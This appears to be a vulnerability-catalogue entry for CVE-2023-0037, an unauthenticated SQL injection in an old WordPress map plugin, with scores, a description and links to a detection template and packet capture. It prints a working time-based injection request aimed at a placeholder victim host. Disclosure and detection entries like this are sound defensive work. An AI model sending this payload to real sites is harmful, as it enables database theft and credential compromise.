| Title | WordPress 10Web Map Builder < 1.0.73 - Unauthenticated SQL Injection |
|---|---|
| Author | riteshs4hu |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute SQL injection through AJAX actions to extract the complete WordPress database including user credentials, map configuration data, and sensitive site information. |
| Remediation | Fixed in 1.0.73 |
| CVSS Score | 9.8 |
| EPSS Score | 0.66547 |
| CVE ID | CVE-2023-0037 |
| CWE ID | CWE-89 |
| Tags | wpscan cve cve2023 wordpress wp-plugin wp wd-google-maps sqli time-based vkev vuln |
The 10Web Map Builder for Google Maps WordPress plugin before 1.0.73 does not properly sanitise and escape some parameters before using them in an SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.3 Safari/605.1.15
Connection: close
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
radius=1+and+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&lat=0.0&lng=0.0&distance_in=km
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0037.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-0037.pcap
N/AN/A